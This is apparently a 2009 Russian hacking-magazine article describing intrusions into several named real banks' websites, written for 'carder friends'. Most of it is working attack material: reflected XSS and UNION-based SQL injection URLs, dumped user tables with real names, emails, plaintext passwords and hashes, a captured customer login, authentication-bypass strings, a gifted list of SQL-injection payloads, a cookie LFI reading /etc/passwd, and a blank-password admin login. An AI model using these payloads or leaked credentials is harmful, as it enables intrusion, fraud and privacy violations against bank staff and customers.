Хакер № 05/09 (125)

Чудеса финансовой безопасности. Псевдозащищенность банков
Noname
Взломать банк? Только не сегодня, - давайте завтра. Что представляет собой безопасность банковских ресурсов? Они активно охраняются законом, а также проходили аттестацию по стандарту PCI DSS, цель которого повысить защищенность электронных и торговых систем. Но как это выглядит на самом деле? Давай проверим!
Разминка
Моим друзьям кардерам часто нужен целевой финансовый трафик. Чтобы кто-нибудь когда-нибудь такой трафик продавал на своем сервисе – это миф. Поэтому подобные предложения всегда актуальны. Хакер может и не получить доступ к онлайн-банкингу (потому, что тот будет на стороннем сервере), зато появится возможность заразить очень много посетителей, часть из которых, естественно, является прямой клиентурой.
Это крупный банк, который расположен в США и предоставляет практически полный набор услуг по платежно-карточному сервису (ATM, персональный и корпоративный банкинг).
Бегло проанализировав скрипты, сразу же видим межсайтовый скриптинг:
http://www.statebank1898.com/search.asp?q=1&txtSearch=%27%22%3E%3C%2Ftitle%3E%
3Cscript%3Ealert(1337)%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+skvz%
3C%2Fh1%3E%3C%2Fmarquee%3E&x=18&y=15
Соответственно, реализация атаки напрямую зависит от поведения клиента и его ПО. Не факт, что, даже если зловредную ссылку откроют, хакеру улетят критичные данные. Во многих современных браузерах присутствует штатная защита от такого рода напастей (XSS-фильтр + антифишинговый фильтр в IE8, NoScript-плагин Mozilla, отключение JS). Поэтому следующей целью было найти что-то получше. Например, эксплуатацию SQL-injection через параметризованный линк:
http://www.statebank1898.com/news.asp?id=6'
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[MySQL][ODBC 3.51 Driver][mysqld-5.1.30-community]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY post_date DESC,id DESC' at line 1
/news.asp, line 54
Узнаем пользователя:
statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,user(),2,3,4,5,6
Ответ базы – «sbthappyrudie@208.109.78.117» – говорил о том, что все крутилось-вертелось на удаленном сервере, а не офсайте (64.202.178.162). По логике вещей, там должен крутиться процессинг, выявляемый по наличию всего двух портов (443-ssl, 21-ftp):
statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,database(),2,3,4,5,6
Ответ базы - «sbthappyrudie». Что в конечном итоге я и подставил в следующий запрос, с целью выведать, какие таблицы находились в базе:
statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,table_name,2,3,4,5,6+from+information_schema.tables+WHERE+table_schema=%27sbthappyrudie%27
Названия таблиц оказались весьма интересными: zipcode, users, uploads_navfile, uploads, states, rate_watch, press, online_banking, master, faq_category, faq, custom, content, branch, banners.
Просмотр колонок каждый раз осуществлялся так:
statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,column_name,2,3,4,5,6+from+information_schema.columns+WHERE+table_name=%27online_banking%27
Ответ базы: sort_order, logon_url, id, active, account.
statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,column_name,2,3,4,5,6+from+information_schema.columns+WHERE+table_name=%27users%27
Ответ базы: username, password, id, full_name, form_enrollment, form_contact, email, active.
Остальные данные не особо важны. Кстати, как видишь, параметр с базой я отбросил, потому что мы и так находились в этой базе. Одним запросом я заполучил все интересующее из таблицы пользователей:
statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,concat(username,0x20,
password,%20id,0x20,full_name,0x20,form_enrollment,0x20,form_contact,0x20,email,0x20,active)
,2,3,4,5,6+from+users
Результатом взлома являлось:
johnny k8vt9~;3 Johnny Withers 0 0 johnny@pixelated.net 1
enrollment mvzwttumv|6 Online Enrollment 1 0 Business.Online@StateBank1898.com 0
kwv|ik|5 Contact Us 0 1 NetTeller@statebank1898.com 0
admin Oqjjm{[us{9@A@4 Admin 0 0 jlott@gibbes.net 1
И еще кое-что, что в опубликованном виде вряд ли бы понравилось СБ этого банка. Оставим коммерческие тайны за кадром.
Этот странный франкоязычный банк, прикрывающийся законами Гаити – моя криминальная мечта. Шутка. Ситуация тут аналогичная, только вот ни один запрос, даже простейший, не исполнялся нужным мне образом. Дело в том, что разработчиками системы была задумана идея шифрования данных, хранящихся в таблицах.
unibankhaiti.com/actualites/index.php?id_article=464+AND+1=2+UNION+SELECT+0,
CONCAT(0x7873716C696E6A626567696E,(SELECT+CONCAT_ws(0x3a3a,%20table_name,
version())+FROM+information_schema.tables),0x7873716C696E6A656E64),0x71),0x71),2,3,4,5,6,7,8,9-
Те же самые шаги по разведке колонок проделывать не было смысла, поэтому – сразу результат, который был получен за 5 минут:
База: uniban2_DB
[Table: Columns]
[0]statistiques: id,username,type_action,date,heure,page,ip,host,navigateur,referer
[1]succursales: id,statut,nom,description,adresse,directeur,telephone,fax,reseau,inauguration,horaire,services
[2]taffiches: ID,source,lien,debut,fin,place
[3]tagences: id,statut,nom,description,adresse,directeur,telephone,fax,reseau,inauguration,horaire,services
[4]tannonces: annonceID,image,titre,libelle,date,poste_par,actif
[5]tasctuces: AstuceID,titre,accroche,contenu,modifie_par,modifie_le,actif
[6]tcatfaq: id_cat,categorie
[7]temploi: id_article,image,date,titre,accroche,contenu,expirdate,ecritpar,postepar,actif
[8]tfaq: id_faq,id_cat,question,reponse
[9]tnews: id_article,image,date,titre,accroche,contenu,expirdate,ecritpar,postepar,actif
[10]tsuccursales: id,statut,nom,description,adresse,directeur,telephone,fax,reseau,inauguration,horaire,services
[11]ttaux: id,date,achat,vente,brh
[12]utilisateurs: id_utilisateur,log,pass,droits,acces!
Мои познания французского – нулевые, но, прибегнув к помощи онлайн-переводчика, я сразу понял, какая таблица и какие колонки мне требуются (смотри 12).
[0] 1:manitou:f6812478366f92bf385d8b611152ec74:7777777:index.php:
[1] 2:newsmaster:9ca43771207861a0dd00956bb503a95a:777777:admin_news.php:
[2] 3:ratemaster:dd8f54c23ee12799714d671e7e1f0e1b:000300:admin_succ.php:
[3] 4:ratemaster:dd8f54c23ee12799714d671e7e1f0e1b:000700:admin_succ.php:
[4] 5:reseau:117ba14f8471e7ec247bb0f7112ebbaf:001100:index.php:
[5] 6:reseau1:cb4bbcd4b4b47894a0e6db706fb415c2:007700:index.php:
[6] 12:drh1:841eb977300a2d84ab2ccf8f9077f1e0:000007:index.php:index.php:
Солидный грузинский банк! Давно привлек мое внимание, потому что, однажды, когда я проглядывал логи друга, беседуя на тему информационной безопасности банковского сектора, мне стало очевидно, что данные авторизации пользователя передаются в незашифрованном виде. Примерно так:
tbcbank.com.ge/ir/main.php?lang=eng&id=-80&action=1&uname=alexander.khazaradze%40statestreet.com&upass=xkoqma&OK=Login
Соответственно, login:Alexander.kharadze@statestreet.com, а пароль - xkogma.
Было бы удивительно, если мы каким-нибудь другим образом вторглись и в этот банк.
tbcbank.com.ge/ir/main.php?id=20+AND+1=2+UNION+SELECT+0,1,2,3-
tbcbank.com.ge/ir/main.php?id=20+AND+1=2+UNION+SELECT+0,concat_ws(t_user,0x20,t_pass),2,3+from+t_users
Сразу получаем данные на админа (admin:budianduk>) из t_users и бежим в админку «tbcbank.com.ge/ir/admin/index.php».
Остальные пользователи таблицы t_users:
Martin:Fankhauser:Atlantic Forfaitierungs AG:Othmarstrasse 8:8008 Zurich:NoDataInColumn:Switzerland:fankhauser@atlanticforfaiting.com:
pass: atlantic
Giorgi:Kekelidze:TBC Bank:Marjanishvili 7:tbilisi:0102:Georgia:gkekelidze@tbcbank.com.ge:+99532272727:+99532774772:
pass: IOio(0000
...
Tamar:Ramishvili:TBC: 0102:NoDataInColumn:Geo:tramishvili@gmail.com:hkjld:hupi:
Pass:tata
Цель: dasfla.com (международный)
По сути, один из лидеров в сфере ATM-процессинга. Тестируем главную форму авторизации на предмет «authorization bypass»: dasfla.com/loginscr.aspx.
Авторизируемся с данными:
Username: admin' or 1=1--
Password: admin' or 1=1-
Бинго! We are in! Перед глазами заветное: «Data Access Systems, Inc. User: Super Administrator».
Может быть, здесь все будет так же просто?
http://www.abcdelabanca.com/admin/pages/frm_login.php
Авторизируемся с данными:
user: x' AND email IS NULL; --
pass : x' AND email IS NULL; --
Порядочек! Как же так выходит?
Вот, в дар от меня, подборка специальных выражений, которые могут быть очень кстати при проведении атак такого рода:
or'1'='1'or'1'='1',
'or'1'='1'or'1'='1
' or ' '='
' or ''='
admin" or "a"="a
admin" or 1=1-
admin' or 1=1 -
admin' or 'a'='a
admin') or ('a'='a
admin") or ("a"="a
a=1)--
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
При заходе на https://blog.privatbank.ua/lib/request/choice_of_goods.php получаем ошибку:
«Ошибка синтаксического анализа XML: лишние данные после элемента документа
Адрес: https://blog.privatbank.ua/lib/request/choice_of_goods.php
Строка 2, символ 1:<table class="goods" cellspacing="0" cellpadding="5" border="0">»
При применении анализатора HTTP-протокола (я использовал Tamper Data) можно увидеть, что сайт ставит кук с параметром «language». Проверяем возможность LFI в cookie:
# приготавливаем злонамеренное значение cookie
language=../../../../../../../../etc/passwd%00
# далее подставляем его с помощью любого инжектора пакетов
Описанная процедура с Tamper Data, выглядит примерно так. Открываем: «Mozilla -> Инструменты -> Перехват данных -> Запустить перехват -> Открываем наш сайт -> Вмешаться в запрос -> Редактируем куки -> Отправить». Наряду с этой простой процедурой понимаем, что сгенерировавшийся запрос выглядит так:
Host[blog.privatbank.ua]
User-Agent[Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[ru,en-us;q=0.7,en;q=0.3]
Accept-Encoding[gzip,deflate]
Accept-Charset[windows-1251,utf-8;q=0.7,*;q=0.7]
Keep-Alive[300]
Connection[keep-alive]
Cookie[language=../../../../../../../../etc/passwd%00]
Cache-Control[max-age=0]
Соответственно, изменяя данные в куке, можно пробручивать доступность бага LFI к другим важным файлам, например, httpd.conf / php.ini. После чего одобрительно отмечаем будущие полученные запросы.
Далее мое внимание привлекло наличие на сайте линка с указанием какого-то нестандартного порта:
http://www.privatbank.ua:8085/info/index3.stm
Если обратиться строго по порту, то нам будут доступны для чтения документации по «EAServer 5.5 Release». Между прочим, насчет этого все известные багтраки кидают адвайзори:
«A vulnerability has been discovered in Sybase EAServer. If exploited,
this can result in user-specified code being executed under the security context of the
jagsrv.exe process. To complete this attack, you must be authenticated
to /WebConsole/. By default, the jagadmin user password is set to blank so getting access
might be trivial. After authenticating to /WebConsole/ if an attacker sets the value of
the JavaScript parameter in TreeAction.do to a large value a return address can be
overwritten due to a stack-based buffer overflow».
Действительно, «Authorization bypass» с логином jagadmin и пустым паролем прокатил.
Pros & Cons в использовании автоматизированных средств для SQL-injection
В статье я не прибегал к автоматизированным средствам, и тому есть ряд объективных причин. Работа ручками упражняет твои знания, и еще ты сам являешься гарантом всего, что делается.
Косяк SQL Injection Pentesting Tool (SIPT) заключается в том, что когда хочешь получить список таблиц или данные из таблицы при включенной галке LIMIT , то данные возвращаться не будут. Если эту опцию снять - все работает правильно. По словам разработчика SQLHACK, это его недоделка.
Pangolin
Китайская хиромантия, в 90% случаев определяющаяся как пасс-граббер. На самом же деле, это почти универсальная утилита для эксплойтинга SQL-injection сразу в ряде баз (MySQL, MSSQL, Oracle, Sybase, DB2, Access, Informix, PostgreSQL, SQLite).
Содержание
ВИДЕО К ЭТОМУ НОМЕРУНа седьмом небе с Windows Se7en В семерке и сопутствующих инструментах сделан ряд действительно полезных усовершенствований, которые позволят получить действительно легко управляемую и безопасную систему...
Во власти гипервизора В этом ролике мы установим Citrix XenServer и создадим виртуальную машину при помощи XenConsole...
Вскрываем SSL То, насколько просто могут утечь логины и пароли, мы покажем в этом видео. Будь осторожен!...
|
 |
|